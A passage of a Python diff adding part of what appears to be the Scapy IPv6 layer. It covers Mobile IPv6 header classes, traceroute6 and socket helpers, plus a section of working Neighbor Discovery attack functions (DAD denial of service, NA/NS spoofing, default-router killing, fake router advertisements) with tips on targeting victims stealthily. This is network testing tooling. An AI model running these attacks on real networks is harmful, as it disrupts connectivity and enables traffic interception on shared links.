self.len + if self.len is None: + tmp_len = (len(p) - 8) // 8 + p = p[:1] + struct.pack("B", tmp_len) + p[2:] + if self.cksum is None: + cksum = in6_chksum(135, self.underlayer, p) + else: + cksum = self.cksum + p = p[:4] + struct.pack("!H", cksum) + p[6:] + return p + + +class MIP6MH_Generic(_MobilityHeader): # Mainly for decoding of unknown msg + name = "IPv6 Mobility Header - Generic Message" + fields_desc = [ByteEnumField("nh", 59, ipv6nh), + ByteField("len", None), + ByteEnumField("mhtype", None, mhtypes), + ByteField("res", None), + XShortField("cksum", None), + StrLenField("msg", b"\x00" * 2, + length_from=lambda pkt: 8 * pkt.len - 6)] + + +class MIP6MH_BRR(_MobilityHeader): + name = "IPv6 Mobility Header - Binding Refresh Request" + fields_desc = [ByteEnumField("nh", 59, ipv6nh), + ByteField("len", None), + ByteEnumField("mhtype", 0, mhtypes), + ByteField("res", None), + XShortField("cksum", None), + ShortField("res2", None), + _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 + _OptionsField("options", [], MIP6OptUnknown, 8, + length_from=lambda pkt: 8 * pkt.len)] + overload_fields = {IPv6: {"nh": 135}} + + def hashret(self): + # Hack: BRR, BU and BA have the same hashret that returns the same + # value b"\x00\x08\x09" (concatenation of mhtypes). This is + # because we need match BA with BU and BU with BRR. --arno + return b"\x00\x08\x09" + + +class MIP6MH_HoTI(_MobilityHeader): + name = "IPv6 Mobility Header - Home Test Init" + fields_desc = [ByteEnumField("nh", 59, ipv6nh), + ByteField("len", None), + ByteEnumField("mhtype", 1, mhtypes), + ByteField("res", None), + XShortField("cksum", None), + StrFixedLenField("reserved", b"\x00" * 2, 2), + StrFixedLenField("cookie", b"\x00" * 8, 8), + _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 + _OptionsField("options", [], MIP6OptUnknown, 16, + length_from=lambda pkt: 8 * (pkt.len - 1))] # noqa: E501 + overload_fields = {IPv6: {"nh": 135}} + + def hashret(self): + return bytes_encode(self.cookie) + + +class MIP6MH_CoTI(MIP6MH_HoTI): + name = "IPv6 Mobility Header - Care-of Test Init" + mhtype = 2 + + def hashret(self): + return bytes_encode(self.cookie) + + +class MIP6MH_HoT(_MobilityHeader): + name = "IPv6 Mobility Header - Home Test" + fields_desc = [ByteEnumField("nh", 59, ipv6nh), + ByteField("len", None), + ByteEnumField("mhtype", 3, mhtypes), + ByteField("res", None), + XShortField("cksum", None), + ShortField("index", None), + StrFixedLenField("cookie", b"\x00" * 8, 8), + StrFixedLenField("token", b"\x00" * 8, 8), + _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 + _OptionsField("options", [], MIP6OptUnknown, 24, + length_from=lambda pkt: 8 * (pkt.len - 2))] # noqa: E501 + overload_fields = {IPv6: {"nh": 135}} + + def hashret(self): + return bytes_encode(self.cookie) + + def answers(self, other): + if (isinstance(other, MIP6MH_HoTI) and + self.cookie == other.cookie): + return 1 + return 0 + + +class MIP6MH_CoT(MIP6MH_HoT): + name = "IPv6 Mobility Header - Care-of Test" + mhtype = 4 + + def hashret(self): + return bytes_encode(self.cookie) + + def answers(self, other): + if (isinstance(other, MIP6MH_CoTI) and + self.cookie == other.cookie): + return 1 + return 0 + + +class LifetimeField(ShortField): + def i2repr(self, pkt, x): + return "%d sec" % (4 * x) + + +class MIP6MH_BU(_MobilityHeader): + name = "IPv6 Mobility Header - Binding Update" + fields_desc = [ByteEnumField("nh", 59, ipv6nh), + ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501 + ByteEnumField("mhtype", 5, mhtypes), + ByteField("res", None), + XShortField("cksum", None), + XShortField("seq", None), # TODO: ShortNonceField + FlagsField("flags", "KHA", 7, "PRMKLHA"), + XBitField("reserved", 0, 9), + LifetimeField("mhtime", 3), # unit == 4 seconds + _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 + _OptionsField("options", [], MIP6OptUnknown, 12, + length_from=lambda pkt: 8 * pkt.len - 4)] # noqa: E501 + overload_fields = {IPv6: {"nh": 135}} + + def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() + return b"\x00\x08\x09" + + def answers(self, other): + if isinstance(other, MIP6MH_BRR): + return 1 + return 0 + + +class MIP6MH_BA(_MobilityHeader): + name = "IPv6 Mobility Header - Binding ACK" + fields_desc = [ByteEnumField("nh", 59, ipv6nh), + ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501 + ByteEnumField("mhtype", 6, mhtypes), + ByteField("res", None), + XShortField("cksum", None), + ByteEnumField("status", 0, bastatus), + FlagsField("flags", "K", 3, "PRK"), + XBitField("res2", None, 5), + XShortField("seq", None), # TODO: ShortNonceField + XShortField("mhtime", 0), # unit == 4 seconds + _PhantomAutoPadField("autopad", 1), # autopad activated by default # noqa: E501 + _OptionsField("options", [], MIP6OptUnknown, 12, + length_from=lambda pkt: 8 * pkt.len - 4)] # noqa: E501 + overload_fields = {IPv6: {"nh": 135}} + + def hashret(self): # Hack: see comment in MIP6MH_BRR.hashret() + return b"\x00\x08\x09" + + def answers(self, other): + if (isinstance(other, MIP6MH_BU) and + other.mhtype == 5 and + self.mhtype == 6 and + other.flags & 0x1 and # Ack request flags is set + self.seq == other.seq): + return 1 + return 0 + + +_bestatus = {1: 'Unknown binding for Home Address destination option', + 2: 'Unrecognized MH Type value'} + +# TODO: match Binding Error to its stimulus + + +class MIP6MH_BE(_MobilityHeader): + name = "IPv6 Mobility Header - Binding Error" + fields_desc = [ByteEnumField("nh", 59, ipv6nh), + ByteField("len", None), # unit == 8 bytes (excluding the first 8 bytes) # noqa: E501 + ByteEnumField("mhtype", 7, mhtypes), + ByteField("res", 0), + XShortField("cksum", None), + ByteEnumField("status", 0, _bestatus), + ByteField("reserved", 0), + IP6Field("ha", "::"), + _OptionsField("options", [], MIP6OptUnknown, 24, + length_from=lambda pkt: 8 * (pkt.len - 2))] # noqa: E501 + overload_fields = {IPv6: {"nh": 135}} + + +_mip6_mhtype2cls = {0: MIP6MH_BRR, + 1: MIP6MH_HoTI, + 2: MIP6MH_CoTI, + 3: MIP6MH_HoT, + 4: MIP6MH_CoT, + 5: MIP6MH_BU, + 6: MIP6MH_BA, + 7: MIP6MH_BE} + + +############################################################################# +############################################################################# +# Traceroute6 # +############################################################################# +############################################################################# + +class AS_resolver6(AS_resolver_riswhois): + def _resolve_one(self, ip): + """ + overloaded version to provide a Whois resolution on the + embedded IPv4 address if the address is 6to4 or Teredo. + Otherwise, the native IPv6 address is passed. + """ + + if in6_isaddr6to4(ip): # for 6to4, use embedded @ + tmp = inet_pton(socket.AF_INET6, ip) + addr = inet_ntop(socket.AF_INET, tmp[2:6]) + elif in6_isaddrTeredo(ip): # for Teredo, use mapped address + addr = teredoAddrExtractInfo(ip)[2] + else: + addr = ip + + _, asn, desc = AS_resolver_riswhois._resolve_one(self, addr) + + if asn.startswith("AS"): + try: + asn = int(asn[2:]) + except ValueError: + pass + + return ip, asn, desc + + +class TracerouteResult6(TracerouteResult): + __slots__ = [] + + def show(self): + return self.make_table(lambda s, r: (s.sprintf("%-42s,IPv6.dst%:{TCP:tcp%TCP.dport%}{UDP:udp%UDP.dport%}{ICMPv6EchoRequest:IER}"), # TODO: ICMPv6 ! # noqa: E501 + s.hlim, + r.sprintf("%-42s,IPv6.src% {TCP:%TCP.flags%}" + # noqa: E501 + "{ICMPv6DestUnreach:%ir,type%}{ICMPv6PacketTooBig:%ir,type%}" + # noqa: E501 + "{ICMPv6TimeExceeded:%ir,type%}{ICMPv6ParamProblem:%ir,type%}" + # noqa: E501 + "{ICMPv6EchoReply:%ir,type%}"))) # noqa: E501 + + def get_trace(self): + trace = {} + + for s, r in self.res: + if IPv6 not in s: + continue + d = s[IPv6].dst + if d not in trace: + trace[d] = {} + + t = not (ICMPv6TimeExceeded in r or + ICMPv6DestUnreach in r or + ICMPv6PacketTooBig in r or + ICMPv6ParamProblem in r) + + trace[d][s[IPv6].hlim] = r[IPv6].src, t + + for k in six.itervalues(trace): + try: + m = min(x for x, y in six.iteritems(k) if y[1]) + except ValueError: + continue + for l in list(k): # use list(): k is modified in the loop + if l > m: + del k[l] + + return trace + + def graph(self, ASres=AS_resolver6(), **kargs): + TracerouteResult.graph(self, ASres=ASres, **kargs) + + +@conf.commands.register +def traceroute6(target, dport=80, minttl=1, maxttl=30, sport=RandShort(), + l4=None, timeout=2, verbose=None, **kargs): + """Instant TCP traceroute using IPv6 + traceroute6(target, [maxttl=30], [dport=80], [sport=80]) -> None + """ + if verbose is None: + verbose = conf.verb + + if l4 is None: + a, b = sr(IPv6(dst=target, hlim=(minttl, maxttl)) / TCP(seq=RandInt(), sport=sport, dport=dport), # noqa: E501 + timeout=timeout, filter="icmp6 or tcp", verbose=verbose, **kargs) # noqa: E501 + else: + a, b = sr(IPv6(dst=target, hlim=(minttl, maxttl)) / l4, + timeout=timeout, verbose=verbose, **kargs) + + a = TracerouteResult6(a.res) + + if verbose: + a.display() + + return a, b + +############################################################################# +############################################################################# +# Sockets # +############################################################################# +############################################################################# + + +class L3RawSocket6(L3RawSocket): + def __init__(self, type=ETH_P_IPV6, filter=None, iface=None, promisc=None, nofilter=0): # noqa: E501 + L3RawSocket.__init__(self, type, filter, iface, promisc) + # NOTE: if fragmentation is needed, it will be done by the kernel (RFC 2292) # noqa: E501 + self.outs = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # noqa: E501 + self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501 + + +def IPv6inIP(dst='203.178.135.36', src=None): + _IPv6inIP.dst = dst + _IPv6inIP.src = src + if not conf.L3socket == _IPv6inIP: + _IPv6inIP.cls = conf.L3socket + else: + del(conf.L3socket) + return _IPv6inIP + + +class _IPv6inIP(SuperSocket): + dst = '127.0.0.1' + src = None + cls = None + + def __init__(self, family=socket.AF_INET6, type=socket.SOCK_STREAM, proto=0, **args): # noqa: E501 + SuperSocket.__init__(self, family, type, proto) + self.worker = self.cls(**args) + + def set(self, dst, src=None): + _IPv6inIP.src = src + _IPv6inIP.dst = dst + + def nonblock_recv(self): + p = self.worker.nonblock_recv() + return self._recv(p) + + def recv(self, x): + p = self.worker.recv(x) + return self._recv(p, x) + + def _recv(self, p, x=MTU): + if p is None: + return p + elif isinstance(p, IP): + # TODO: verify checksum + if p.src == self.dst and p.proto == socket.IPPROTO_IPV6: + if isinstance(p.payload, IPv6): + return p.payload + return p + + def send(self, x): + return self.worker.send(IP(dst=self.dst, src=self.src, proto=socket.IPPROTO_IPV6) / x) # noqa: E501 + + +############################################################################# +############################################################################# +# Neighbor Discovery Protocol Attacks # +############################################################################# +############################################################################# + +def _NDP_Attack_DAD_DoS(reply_callback, iface=None, mac_src_filter=None, + tgt_filter=None, reply_mac=None): + """ + Internal generic helper accepting a specific callback as first argument, + for NS or NA reply. See the two specific functions below. + """ + + def is_request(req, mac_src_filter, tgt_filter): + """ + Check if packet req is a request + """ + + # Those simple checks are based on Section 5.4.2 of RFC 4862 + if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): + return 0 + + # Get and compare the MAC address + mac_src = req[Ether].src + if mac_src_filter and mac_src != mac_src_filter: + return 0 + + # Source must be the unspecified address + if req[IPv6].src != "::": + return 0 + + # Check destination is the link-local solicited-node multicast + # address associated with target address in received NS + tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) + if tgt_filter and tgt != tgt_filter: + return 0 + received_snma = inet_pton(socket.AF_INET6, req[IPv6].dst) + expected_snma = in6_getnsma(tgt) + if received_snma != expected_snma: + return 0 + + return 1 + + if not iface: + iface = conf.iface + + # To prevent sniffing our own traffic + if not reply_mac: + reply_mac = get_if_hwaddr(iface) + sniff_filter = "icmp6 and not ether src %s" % reply_mac + + sniff(store=0, + filter=sniff_filter, + lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), + prn=lambda x: reply_callback(x, reply_mac, iface), + iface=iface) + + +def NDP_Attack_DAD_DoS_via_NS(iface=None, mac_src_filter=None, tgt_filter=None, + reply_mac=None): + """ + Perform the DAD DoS attack using NS described in section 4.1.3 of RFC + 3756. This is done by listening incoming NS messages sent from the + unspecified address and sending a NS reply for the target address, + leading the peer to believe that another node is also performing DAD + for that address. + + By default, the fake NS sent to create the DoS uses: + - as target address the target address found in received NS. + - as IPv6 source address: the unspecified address (::). + - as IPv6 destination address: the link-local solicited-node multicast + address derived from the target address in received NS. + - the mac address of the interface as source (or reply_mac, see below). + - the multicast mac address derived from the solicited node multicast + address used as IPv6 destination address. + + Following arguments can be used to change the behavior: + + iface: a specific interface (e.g. "eth0") of the system on which the + DoS should be launched. If None is provided conf.iface is used. + + mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. + Only NS messages received from this source will trigger replies. + This allows limiting the effects of the DoS to a single target by + filtering on its mac address. The default value is None: the DoS + is not limited to a specific mac address. + + tgt_filter: Same as previous but for a specific target IPv6 address for + received NS. If the target address in the NS message (not the IPv6 + destination address) matches that address, then a fake reply will + be sent, i.e. the emitter will be a target of the DoS. + + reply_mac: allow specifying a specific source mac address for the reply, + i.e. to prevent the use of the mac address of the interface. + """ + + def ns_reply_callback(req, reply_mac, iface): + """ + Callback that reply to a NS by sending a similar NS + """ + + # Let's build a reply and send it + mac = req[Ether].src + dst = req[IPv6].dst + tgt = req[ICMPv6ND_NS].tgt + rep = Ether(src=reply_mac) / IPv6(src="::", dst=dst) / ICMPv6ND_NS(tgt=tgt) # noqa: E501 + sendp(rep, iface=iface, verbose=0) + + print("Reply NS for target address %s (received from %s)" % (tgt, mac)) + + _NDP_Attack_DAD_DoS(ns_reply_callback, iface, mac_src_filter, + tgt_filter, reply_mac) + + +def NDP_Attack_DAD_DoS_via_NA(iface=None, mac_src_filter=None, tgt_filter=None, + reply_mac=None): + """ + Perform the DAD DoS attack using NS described in section 4.1.3 of RFC + 3756. This is done by listening incoming NS messages *sent from the + unspecified address* and sending a NA reply for the target address, + leading the peer to believe that another node is also performing DAD + for that address. + + By default, the fake NA sent to create the DoS uses: + - as target address the target address found in received NS. + - as IPv6 source address: the target address found in received NS. + - as IPv6 destination address: the link-local solicited-node multicast + address derived from the target address in received NS. + - the mac address of the interface as source (or reply_mac, see below). + - the multicast mac address derived from the solicited node multicast + address used as IPv6 destination address. + - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled + with the mac address used as source of the NA. + + Following arguments can be used to change the behavior: + + iface: a specific interface (e.g. "eth0") of the system on which the + DoS should be launched. If None is provided conf.iface is used. + + mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. + Only NS messages received from this source will trigger replies. + This allows limiting the effects of the DoS to a single target by + filtering on its mac address. The default value is None: the DoS + is not limited to a specific mac address. + + tgt_filter: Same as previous but for a specific target IPv6 address for + received NS. If the target address in the NS message (not the IPv6 + destination address) matches that address, then a fake reply will + be sent, i.e. the emitter will be a target of the DoS. + + reply_mac: allow specifying a specific source mac address for the reply, + i.e. to prevent the use of the mac address of the interface. This + address will also be used in the Target Link-Layer Address option. + """ + + def na_reply_callback(req, reply_mac, iface): + """ + Callback that reply to a NS with a NA + """ + + # Let's build a reply and send it + mac = req[Ether].src + dst = req[IPv6].dst + tgt = req[ICMPv6ND_NS].tgt + rep = Ether(src=reply_mac) / IPv6(src=tgt, dst=dst) + rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1) # noqa: E741 + rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) + sendp(rep, iface=iface, verbose=0) + + print("Reply NA for target address %s (received from %s)" % (tgt, mac)) + + _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter, + tgt_filter, reply_mac) + + +def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None, + reply_mac=None, router=False): + """ + The main purpose of this function is to send fake Neighbor Advertisement + messages to a victim. As the emission of unsolicited Neighbor Advertisement + is pretty pointless (from an attacker standpoint) because it will not + lead to a modification of a victim's neighbor cache, the function send + advertisements in response to received NS (NS sent as part of the DAD, + i.e. with an unspecified address as source, are not considered). + + By default, the fake NA sent to create the DoS uses: + - as target address the target address found in received NS. + - as IPv6 source address: the target address + - as IPv6 destination address: the source IPv6 address of received NS + message. + - the mac address of the interface as source (or reply_mac, see below). + - the source mac address of the received NS as destination macs address + of the emitted NA. + - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) + filled with the mac address used as source of the NA. + + Following arguments can be used to change the behavior: + + iface: a specific interface (e.g. "eth0") of the system on which the + DoS should be launched. If None is provided conf.iface is used. + + mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. + Only NS messages received from this source will trigger replies. + This allows limiting the effects of the DoS to a single target by + filtering on its mac address. The default value is None: the DoS + is not limited to a specific mac address. + + tgt_filter: Same as previous but for a specific target IPv6 address for + received NS. If the target address in the NS message (not the IPv6 + destination address) matches that address, then a fake reply will + be sent, i.e. the emitter will be a target of the DoS. + + reply_mac: allow specifying a specific source mac address for the reply, + i.e. to prevent the use of the mac address of the interface. This + address will also be used in the Target Link-Layer Address option. + + router: by the default (False) the 'R' flag in the NA used for the reply + is not set. If the parameter is set to True, the 'R' flag in the + NA is set, advertising us as a router. + + Please, keep the following in mind when using the function: for obvious + reasons (kernel space vs. Python speed), when the target of the address + resolution is on the link, the sender of the NS receives 2 NA messages + in a row, the valid one and our fake one. The second one will overwrite + the information provided by the first one, i.e. the natural latency of + Scapy helps here. + + In practice, on a common Ethernet link, the emission of the NA from the + genuine target (kernel stack) usually occurs in the same millisecond as + the receipt of the NS. The NA generated by Scapy6 will usually come after + something 20+ ms. On a usual testbed for instance, this difference is + sufficient to have the first data packet sent from the victim to the + destination before it even receives our fake NA. + """ + + def is_request(req, mac_src_filter, tgt_filter): + """ + Check if packet req is a request + """ + + # Those simple checks are based on Section 5.4.2 of RFC 4862 + if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req): + return 0 + + mac_src = req[Ether].src + if mac_src_filter and mac_src != mac_src_filter: + return 0 + + # Source must NOT be the unspecified address + if req[IPv6].src == "::": + return 0 + + tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt) + if tgt_filter and tgt != tgt_filter: + return 0 + + dst = req[IPv6].dst + if in6_isllsnmaddr(dst): # Address is Link Layer Solicited Node mcast. + + # If this is a real address resolution NS, then the destination + # address of the packet is the link-local solicited node multicast + # address associated with the target of the NS. + # Otherwise, the NS is a NUD related one, i.e. the peer is + # unicasting the NS to check the target is still alive (L2 + # information is still in its cache and it is verified) + received_snma = inet_pton(socket.AF_INET6, dst) + expected_snma = in6_getnsma(tgt) + if received_snma != expected_snma: + print("solicited node multicast @ does not match target @!") + return 0 + + return 1 + + def reply_callback(req, reply_mac, router, iface): + """ + Callback that reply to a NS with a spoofed NA + """ + + # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and + # send it back. + mac = req[Ether].src + pkt = req[IPv6] + src = pkt.src + tgt = req[ICMPv6ND_NS].tgt + rep = Ether(src=reply_mac, dst=mac) / IPv6(src=tgt, dst=src) + # Use the target field from the NS + rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1) # noqa: E741 + + # "If the solicitation IP Destination Address is not a multicast + # address, the Target Link-Layer Address option MAY be omitted" + # Given our purpose, we always include it. + rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac) + + sendp(rep, iface=iface, verbose=0) + + print("Reply NA for target address %s (received from %s)" % (tgt, mac)) + + if not iface: + iface = conf.iface + # To prevent sniffing our own traffic + if not reply_mac: + reply_mac = get_if_hwaddr(iface) + sniff_filter = "icmp6 and not ether src %s" % reply_mac + + router = (router and 1) or 0 # Value of the R flags in NA + + sniff(store=0, + filter=sniff_filter, + lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter), + prn=lambda x: reply_callback(x, reply_mac, router, iface), + iface=iface) + + +def NDP_Attack_NS_Spoofing(src_lladdr=None, src=None, target="2001:db8::1", + dst=None, src_mac=None, dst_mac=None, loop=True, + inter=1, iface=None): + """ + The main purpose of this function is to send fake Neighbor Solicitations + messages to a victim, in order to either create a new entry in its neighbor + cache or update an existing one. In section 7.2.3 of RFC 4861, it is stated + that a node SHOULD create the entry or update an existing one (if it is not + currently performing DAD for the target of the NS). The entry's reachability # noqa: E501 + state is set to STALE. + + The two main parameters of the function are the source link-layer address + (carried by the Source Link-Layer Address option in the NS) and the + source address of the packet. + + Unlike some other NDP_Attack_* function, this one is not based on a + stimulus/response model. When called, it sends the same NS packet in loop + every second (the default) + + Following arguments can be used to change the format of the packets: + + src_lladdr: the MAC address used in the Source Link-Layer Address option + included in the NS packet. This is the address that the peer should + associate in its neighbor cache with the IPv6 source address of the + packet. If None is provided, the mac address of the interface is + used. + + src: the IPv6 address used as source of the packet. If None is provided, + an address associated with the emitting interface will be used + (based on the destination address of the packet). + + target: the target address of the NS packet. If no value is provided, + a dummy address (2001:db8::1) is used. The value of the target + has a direct impact on the destination address of the packet if it + is not overridden. By default, the solicited-node multicast address + associated with the target is used as destination address of the + packet. Consider specifying a specific destination address if you + intend to use a target address different than the one of the victim. + + dst: The destination address of the NS. By default, the solicited node + multicast address associated with the target address (see previous + parameter) is used if no specific value is provided. The victim + is not expected to check the destination address of the packet, + so using a multicast address like ff02::1 should work if you want + the attack to target all hosts on the link. On the contrary, if + you want to be more stealth, you should provide the target address + for this parameter in order for the packet to be sent only to the + victim. + + src_mac: the MAC address used as source of the packet. By default, this + is the address of the interface. If you want to be more stealth, + feel free to use something else. Note that this address is not the + that the victim will use to populate its neighbor cache. + + dst_mac: The MAC address used as destination address of the packet. If + the IPv6 destination address is multicast (all-nodes, solicited + node, ...), it will be computed. If the destination address is + unicast, a neighbor solicitation will be performed to get the + associated address. If you want the attack to be stealth, you + can provide the MAC address using this parameter. + + loop: By default, this parameter is True, indicating that NS packets + will be sent in loop, separated by 'inter' seconds (see below). + When set to False, a single packet is sent. + + inter: When loop parameter is True (the default), this parameter provides + the interval in seconds used for sending NS packets. + + iface: to force the sending interface. + """ + + if not iface: + iface = conf.iface + + # Use provided MAC address as source link-layer address option + # or the MAC address of the interface if none is provided. + if not src_lladdr: + src_lladdr = get_if_hwaddr(iface) + + # Prepare packets parameters + ether_params = {} + if src_mac: + ether_params["src"] = src_mac + + if dst_mac: + ether_params["dst"] = dst_mac + + ipv6_params = {} + if src: + ipv6_params["src"] = src + if dst: + ipv6_params["dst"] = dst + else: + # Compute the solicited-node multicast address + # associated with the target address. + tmp = inet_ntop(socket.AF_INET6, + in6_getnsma(inet_pton(socket.AF_INET6, target))) + ipv6_params["dst"] = tmp + + pkt = Ether(**ether_params) + pkt /= IPv6(**ipv6_params) + pkt /= ICMPv6ND_NS(tgt=target) + pkt /= ICMPv6NDOptSrcLLAddr(lladdr=src_lladdr) + + sendp(pkt, inter=inter, loop=loop, iface=iface, verbose=0) + + +def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None, + ip_src_filter=None, reply_mac=None, + tgt_mac=None): + """ + The purpose of the function is to monitor incoming RA messages + sent by default routers (RA with a non-zero Router Lifetime values) + and invalidate them by immediately replying with fake RA messages + advertising a zero Router Lifetime value. + + The result on receivers is that the router is immediately invalidated, + i.e. the associated entry is discarded from the default router list + and destination cache is updated to reflect the change. + + By default, the function considers all RA messages with a non-zero + Router Lifetime value but provides configuration knobs to allow + filtering RA sent by specific routers (Ethernet source address). + With regard to emission, the multicast all-nodes address is used + by default but a specific target can be used, in order for the DoS to + apply only to a specific host. + + More precisely, following arguments can be used to change the behavior: + + iface: a specific interface (e.g. "eth0") of the system on which the + DoS should be launched. If None is provided conf.iface is used. + + mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. + Only RA messages received from this source will trigger replies. + If other default routers advertised their presence on the link, + their clients will not be impacted by the attack. The default + value is None: the DoS is not limited to a specific mac address. + + ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter + on. Only RA messages received from this source address will trigger + replies. If other default routers advertised their presence on the + link, their clients will not be impacted by the attack. The default + value is None: the DoS is not limited to a specific IPv6 source + address. + + reply_mac: allow specifying a specific source mac address for the reply, + i.e. to prevent the use of the mac address of the interface. + + tgt_mac: allow limiting the effect of the DoS to a specific host, + by sending the "invalidating RA" only to its mac address. + """ + + def is_request(req, mac_src_filter, ip_src_filter): + """ + Check if packet req is a request + """ + + if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req): + return 0 + + mac_src = req[Ether].src + if mac_src_filter and mac_src != mac_src_filter: + return 0 + + ip_src = req[IPv6].src + if ip_src_filter and ip_src != ip_src_filter: + return 0 + + # Check if this is an advertisement for a Default Router + # by looking at Router Lifetime value + if req[ICMPv6ND_RA].routerlifetime == 0: + return 0 + + return 1 + + def ra_reply_callback(req, reply_mac, tgt_mac, iface): + """ + Callback that sends an RA with a 0 lifetime + """ + + # Let's build a reply and send it + + src = req[IPv6].src + + # Prepare packets parameters + ether_params = {} + if reply_mac: + ether_params["src"] = reply_mac + + if tgt_mac: + ether_params["dst"] = tgt_mac + + # Basis of fake RA (high pref, zero lifetime) + rep = Ether(**ether_params) / IPv6(src=src, dst="ff02::1") + rep /= ICMPv6ND_RA(prf=1, routerlifetime=0) + + # Add it a PIO from the request ... + tmp = req + while ICMPv6NDOptPrefixInfo in tmp: + pio = tmp[ICMPv6NDOptPrefixInfo] + tmp = pio.payload + del(pio.payload) + rep /= pio + + # ... and source link layer address option + if ICMPv6NDOptSrcLLAddr in req: + mac = req[ICMPv6NDOptSrcLLAddr].lladdr + else: + mac = req[Ether].src + rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac) + + sendp(rep, iface=iface, verbose=0) + + print("Fake RA sent with source address %s" % src) + + if not iface: + iface = conf.iface + # To prevent sniffing our own traffic + if not reply_mac: + reply_mac = get_if_hwaddr(iface) + sniff_filter = "icmp6 and not ether src %s" % reply_mac + + sniff(store=0, + filter=sniff_filter, + lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), + prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface), + iface=iface) + + +def NDP_Attack_Fake_Router(ra, iface=None, mac_src_filter=None, + ip_src_filter=None): + """ + The purpose of this function is to send provided RA message at layer 2 + (i.e. providing a packet starting with IPv6 will not work) in response + to received RS messages. In the end, the function is a simple wrapper + around sendp() that monitor the link for RS messages. + + It is probably better explained with an example: + + >>> ra = Ether()/IPv6()/ICMPv6ND_RA() + >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:1::", prefixlen=64) + >>> ra /= ICMPv6NDOptPrefixInfo(prefix="2001:db8:2::", prefixlen=64) + >>> ra /= ICMPv6NDOptSrcLLAddr(lladdr="00:11:22:33:44:55") + >>> NDP_Attack_Fake_Router(ra, iface="eth0") + Fake RA sent in response to RS from fe80::213:58ff:fe8c:b573 + Fake RA sent in response to RS from fe80::213:72ff:fe8c:b9ae + ... + + Following arguments can be used to change the behavior: + + ra: the RA message to send in response to received RS message. + + iface: a specific interface (e.g. "eth0") of the system on which the + DoS should be launched. If none is provided, conf.iface is + used. + + mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on. + Only RS messages received from this source will trigger a reply. + Note that no changes to provided RA is done which imply that if + you intend to target only the source of the RS using this option, + you will have to set the Ethernet destination address to the same + value in your RA. + The default value for this parameter is None: no filtering on the + source of RS is done. + + ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter + on. Only RS messages received from this source address will trigger + replies. Same comment as for previous argument apply: if you use + the option, you will probably want to set a specific Ethernet + destination address in the RA. + """ + + def is_request(req, mac_src_filter, ip_src_filter): + """ + Check if packet req is a request + """ + + if not (Ether in req and IPv6 in req and ICMPv6ND_RS in req): + return 0 + + mac_src = req[Ether].src + if mac_src_filter and mac_src != mac_src_filter: + return 0 + + ip_src = req[IPv6].src + if ip_src_filter and ip_src != ip_src_filter: + return 0 + + return 1 + + def ra_reply_callback(req, iface): + """ + Callback that sends an RA in reply to an RS + """ + + src = req[IPv6].src + sendp(ra, iface=iface, verbose=0) + print("Fake RA sent in response to RS from %s" % src) + + if not iface: + iface = conf.iface + sniff_filter = "icmp6" + + sniff(store=0, + filter=sniff_filter, + lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter), + prn=lambda x: ra_reply_callback(x, iface), + iface=iface) + +############################################################################# +# Pre-load classes ## +############################################################################# + + +def _get_cls(name): + return globals().get(name, Raw) + + +def _load_dict(d): + for k, v in d.items(): + d[k] = _get_cls(v) + + +_load_dict(icmp6ndoptscls) +_load_dict(icmp6typescls) +_load_dict(ipv6nhcls) + +############################################################################# +############################################################################# +# Layers binding # +############################################################################# +############################################################################# + +conf.l3types.register(ETH_P_IPV6, IPv6) +conf.l2types.register(31, IPv6) +conf.l2types.register(DLT_IPV6, IPv6) +conf.l2types.register(DLT_RAW, _IPv46) +conf.l2types.register_num2layer(DLT_RAW_ALT, _IPv46) + +bind_layers(Ether, IPv6, type=0x86dd) +bind_layers(CookedLinux, IPv6, proto=0x86dd) +bind_layers(GRE, IPv6, proto=0x86dd) +bind_layers(SNAP, IPv6, code=0x86dd) +bind_layers(Loopback, IPv6, type=socket.AF_INET6) +bind_layers(IPerror6, TCPerror, nh=socket.IPPROTO_TCP) +bind_layers(IPerror6, UDPerror, nh=socket.IPPROTO_UDP) +bind_layers(IPv6, TCP, nh=socket.IPPROTO_TCP) +bind_layers(IPv6, UDP, nh=socket.IPPROTO_UDP) +bind_layers(IP, IPv6, proto=socket.IPPROTO_IPV6) +bind_layers(IPv6, IPv6, nh=socket.IPPROTO_IPV6) +bind_layers(IPv6, IP, nh=socket.IPPROTO_IPIP) 